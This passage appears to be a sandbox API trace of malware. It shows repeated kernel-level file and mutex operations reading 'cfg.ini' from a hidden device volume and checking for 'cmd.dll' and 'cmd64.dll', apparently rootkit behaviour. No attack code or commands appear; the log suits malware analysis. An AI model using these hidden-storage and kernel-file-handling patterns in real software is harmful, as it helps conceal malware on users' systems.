FileObject=0xfffffa8002adcf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.264] KeLeaveCriticalRegion () [0127.264] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.264] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.264] KeEnterCriticalRegion () [0127.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.264] ExFreePoolWithTag (P=0xfffffa8002adc920, Tag=0x0) [0127.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.264] KeLeaveCriticalRegion () [0127.264] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.264] ReleaseMutex (hMutex=0xf0) returned 1 [0127.264] Sleep (dwMilliseconds=0x124f80) [0127.284] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.284] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.284] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.284] KeEnterCriticalRegion () [0127.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.284] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.284] IdePortDispatch () returned 0x103 [0127.284] KeWaitForMutexObject () returned 0x0 [0127.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.284] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.284] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.284] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.284] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.284] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1dc0 [0127.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.296] KeLeaveCriticalRegion () [0127.296] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.296] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.296] KeEnterCriticalRegion () [0127.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.296] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.296] KeLeaveCriticalRegion () [0127.296] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.296] KeEnterCriticalRegion () [0127.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.296] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.296] IdePortDispatch () returned 0x103 [0127.296] KeWaitForMutexObject () returned 0x0 [0127.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.297] KeLeaveCriticalRegion () [0127.297] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.297] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.297] KeEnterCriticalRegion () [0127.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.297] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000baa000 [0127.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.297] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.297] IdePortDispatch () returned 0x103 [0127.298] KeWaitForMutexObject () returned 0x0 [0127.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.299] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.299] IdePortDispatch () returned 0x103 [0127.299] KeWaitForMutexObject () returned 0x0 [0127.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.299] KeLeaveCriticalRegion () [0127.299] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.300] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.300] KeEnterCriticalRegion () [0127.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.300] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.300] KeLeaveCriticalRegion () [0127.300] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.300] KeEnterCriticalRegion () [0127.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.300] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.300] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.300] KeLeaveCriticalRegion () [0127.300] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.300] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.300] KeEnterCriticalRegion () [0127.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.300] ExFreePoolWithTag (P=0xfffffa80037e1dc0, Tag=0x0) [0127.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.300] KeLeaveCriticalRegion () [0127.300] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.300] ReleaseMutex (hMutex=0xf0) returned 1 [0127.300] Sleep (dwMilliseconds=0x124f80) [0127.320] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.320] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.320] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.320] KeEnterCriticalRegion () [0127.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.320] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.320] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.320] IdePortDispatch () returned 0x103 [0127.329] KeWaitForMutexObject () returned 0x0 [0127.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.329] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.329] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.329] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.329] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.329] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7390 [0127.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.329] KeLeaveCriticalRegion () [0127.329] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.329] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.329] KeEnterCriticalRegion () [0127.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.329] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.329] KeLeaveCriticalRegion () [0127.329] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.329] KeEnterCriticalRegion () [0127.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.329] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.329] IdePortDispatch () returned 0x103 [0127.329] KeWaitForMutexObject () returned 0x0 [0127.330] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.330] KeLeaveCriticalRegion () [0127.330] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.330] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.330] KeEnterCriticalRegion () [0127.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.330] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbf000 [0127.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.330] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.330] IdePortDispatch () returned 0x103 [0127.330] KeWaitForMutexObject () returned 0x0 [0127.330] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.330] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.330] IdePortDispatch () returned 0x103 [0127.331] KeWaitForMutexObject () returned 0x0 [0127.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.331] KeLeaveCriticalRegion () [0127.331] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.331] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.331] KeEnterCriticalRegion () [0127.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.331] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.331] KeLeaveCriticalRegion () [0127.332] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.332] KeEnterCriticalRegion () [0127.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.332] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.332] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.332] KeLeaveCriticalRegion () [0127.332] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.332] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.332] KeEnterCriticalRegion () [0127.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.332] ExFreePoolWithTag (P=0xfffffa800c4f7390, Tag=0x0) [0127.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.332] KeLeaveCriticalRegion () [0127.332] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.332] ReleaseMutex (hMutex=0xf0) returned 1 [0127.332] Sleep (dwMilliseconds=0x124f80) [0127.342] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.357] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.357] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.357] KeEnterCriticalRegion () [0127.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.357] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.357] IdePortDispatch () returned 0x103 [0127.357] KeWaitForMutexObject () returned 0x0 [0127.357] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.357] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.357] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.357] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.357] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.357] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039b78d0 [0127.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.357] KeLeaveCriticalRegion () [0127.357] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.357] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.357] KeEnterCriticalRegion () [0127.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.358] KeLeaveCriticalRegion () [0127.358] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.358] KeEnterCriticalRegion () [0127.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.358] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.358] IdePortDispatch () returned 0x103 [0127.358] KeWaitForMutexObject () returned 0x0 [0127.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.358] KeLeaveCriticalRegion () [0127.358] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.358] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.358] KeEnterCriticalRegion () [0127.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.358] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db2000 [0127.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.358] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.358] IdePortDispatch () returned 0x103 [0127.359] KeWaitForMutexObject () returned 0x0 [0127.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.359] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.359] IdePortDispatch () returned 0x103 [0127.359] KeWaitForMutexObject () returned 0x0 [0127.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.359] KeLeaveCriticalRegion () [0127.359] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.360] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.360] KeEnterCriticalRegion () [0127.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.360] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.360] KeLeaveCriticalRegion () [0127.360] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.360] KeEnterCriticalRegion () [0127.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.360] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.360] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.360] KeLeaveCriticalRegion () [0127.360] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.360] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.360] KeEnterCriticalRegion () [0127.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.360] ExFreePoolWithTag (P=0xfffffa80039b78d0, Tag=0x0) [0127.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.360] KeLeaveCriticalRegion () [0127.360] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.361] ReleaseMutex (hMutex=0xf0) returned 1 [0127.361] Sleep (dwMilliseconds=0x124f80) [0127.363] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.385] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.385] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.385] KeEnterCriticalRegion () [0127.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.385] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.385] IdePortDispatch () returned 0x103 [0127.386] KeWaitForMutexObject () returned 0x0 [0127.386] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.386] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.386] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.386] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.386] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.386] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 